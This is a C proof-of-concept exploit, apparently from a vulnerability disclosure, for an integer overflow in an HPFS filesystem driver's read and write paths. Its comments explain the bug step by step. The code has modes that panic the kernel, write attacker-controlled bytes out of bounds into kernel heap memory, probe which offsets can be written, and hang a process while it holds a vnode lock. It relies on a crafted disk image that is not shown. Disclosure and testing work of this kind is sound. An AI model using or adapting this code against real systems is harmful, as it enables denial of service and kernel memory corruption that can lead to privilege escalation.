DF-3099 / poc.c
/* * DF-3099 PoC — (runl+1)*DEV_BSIZE signed-int overflow of on-disk HPFS * extent length at the hpfs_read/hpfs_write consumers. * * mode "readpanic": read 1 MiB at offset 0 from a file whose single * alleaf claims al_len = 0x80100000. hpfs_hpbmap returns * runl = (int)(al_off-1+al_len-bn) = (int)0x800FFFFF < 0; the inner * min(64*1024, (runl+1)*DEV_BSIZE) evaluates (0x80100000*512) mod 2^32 * = 0x80000000 = INT_MIN; the outer unsigned compare then selects * off+resid = 0x100000 -> xfersz = 1 MiB -> bread -> getblk -> * panic("getblk: size(1048576) > MAXBSIZE(65536)") [vfs_bio.c:2737] * * mode "wleak": pwrite 512 B at offset 511 from a file whose alleaf * claims al_len = 0x800000 (2^23 blocks: (runl+1)*512 == 2^32 == 0 * mod 2^32). towrite = szmin(off+resid, 0) = 0, xfersz = 0, * off != 0 -> bread(devvp, bn, 0) -> uiomove(bp->b_data + 511, * (size_t)(0 - 511)) -- uio_rw is UIO_WRITE here, so uiomove does * copyin(user_buf, b_data+511, 512): 512 bytes of FULLY * ATTACKER-CONTROLLED data written past a ZERO-byte kernel buffer = * controlled kernel heap OVERWRITE (length attacker-chosen, up to * uio_resid). * * mode "whang": pwrite 1 B at offset 0, same image as wleak: * off == 0 && towrite == xfersz (0 == 0) -> getblk(size 0) branch, * uiomove(n=0) makes no progress -> while (uio->uio_resid) spins * forever holding the vnode lock. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *path = argv[1]; const char *mode = argv[2]; if (!strcmp(mode, "readpanic")) { char *buf = malloc(0x100000); int fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 2; } ssize_t n = read(fd, buf, 0x100000); printf("readpanic: read() = %zd errno=%d (no panic)\n", n, errno); return 0; } else if (!strcmp(mode, "wleak")) { unsigned char buf[512]; memset(buf, 0x41, sizeof(buf)); /* marker 'A'x512 OOB write */ int fd = open(path, O_WRONLY); if (fd < 0) { perror("open O_WRONLY"); return 2; } /* * hpfs_write: off=511, towrite=szmin(511+512, 0)=0, * xfersz=0 -> bread(devvp, bn, 0) -> uiomove(b_data+511, * (size_t)-511, uio) with uio_rw=UIO_WRITE -> * copyin(this buffer, b_data+511, 512): 512 controlled * bytes OOB past a zero-size kernel buffer. */ ssize_t n = pwrite(fd, buf, 512, 511); printf("wleak: pwrite() = %zd errno=%d (returned -> OOB write done)\n", n, errno); return 0; } else if (!strcmp(mode, "wprobe")) { /* * Only lbn 0 (file offsets 1..511) triggers the underflow: * towrite=0, xfersz=0, bread(devvp, bn, 0), then * copyin(user, bp->b_data + off, len) into a ZERO-size * buffer. Find which b_data+off byte addresses are mapped: * pwrite returning len proves attacker-controlled bytes were * written OOB into kernel kva. */ int offs[] = { 1, 2, 7, 8, 63, 64, 127, 200, 255, 256, 400, 510, 511 }; unsigned char buf[64]; int fd = open(path, O_WRONLY); if (fd < 0) { perror("open O_WRONLY"); return 2; } memset(buf, 0x41, sizeof(buf)); for (unsigned i = 0; i < sizeof(offs)/sizeof(offs[0]); i++) { int off = offs[i]; errno = 0; ssize_t n = pwrite(fd, buf, 1, off); printf("wprobe: pwrite(1 @ %4d) = %zd errno=%d %s\n", off, n, errno, n == 1 ? "<== CONTROLLED BYTE WRITTEN OOB" : ""); } return 0; } else if (!strcmp(mode, "whang")) { char c = 'X'; int fd = open(path, O_WRONLY); if (fd < 0) { perror("open O_WRONLY"); return 2; } ssize_t n = pwrite(fd, &c, 1, 0); printf("whang: pwrite() = %zd (returned?!)\n", n); return 0; } fprintf(stderr, "usage: %s <file> <readpanic|wleak|wprobe|whang|control>\n", argv[0]); return 1; } |